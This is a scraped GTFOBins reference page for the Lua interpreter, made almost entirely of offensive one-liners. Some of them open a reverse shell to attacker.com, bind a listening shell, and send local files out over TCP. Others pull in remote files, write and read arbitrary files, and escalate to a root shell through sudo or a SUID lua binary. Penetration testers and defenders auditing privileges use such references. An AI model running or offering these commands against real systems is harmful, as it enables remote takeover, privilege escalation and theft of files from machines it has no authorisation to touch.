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GTFOBins.github.io/_gtfobins/lua.md
2021-01-12 13:50:43 +02:00

2.6 KiB

functions
shell non-interactive-reverse-shell non-interactive-bind-shell file-upload file-download file-write file-read suid sudo limited-suid
code
lua -e 'os.execute("/bin/sh")'
description code
Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires `lua-socket` installed. export RHOST=attacker.com export RPORT=12345 lua -e 'local s=require("socket"); local t=assert(s.tcp()); t:connect(os.getenv("RHOST"),os.getenv("RPORT")); while true do local r,x=t:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));t:send(b); end; f:close();t:close();'
description code
Run `nc target.com 12345` on the attacker box to connect to the shell. This requires `lua-socket` installed. export LPORT=12345 lua -e 'local k=require("socket"); local s=assert(k.bind("*",os.getenv("LPORT"))); local c=s:accept(); while true do local r,x=c:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));c:send(b); end;c:close();f:close();'
description code
Send a local file via TCP. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires `lua-socket` installed. RHOST=attacker.com RPORT=12345 LFILE=file_to_send lua -e ' local f=io.open(os.getenv("LFILE"), 'rb') local d=f:read("*a") io.close(f); local s=require("socket"); local t=assert(s.tcp()); t:connect(os.getenv("RHOST"),os.getenv("RPORT")); t:send(d); t:close();'
description code
Fetch a remote file via TCP. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. This requires `lua-socket` installed. export LPORT=12345 export LFILE=file_to_save lua -e 'local k=require("socket"); local s=assert(k.bind("*",os.getenv("LPORT"))); local c=s:accept(); local d,x=c:receive("*a"); c:close(); local f=io.open(os.getenv("LFILE"), "wb"); f:write(d); io.close(f);'
code
lua -e 'local f=io.open("file_to_write", "wb"); f:write("DATA"); io.close(f);'
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lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
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lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
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sudo lua -e 'os.execute("/bin/sh")'
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./lua -e 'os.execute("/bin/sh")'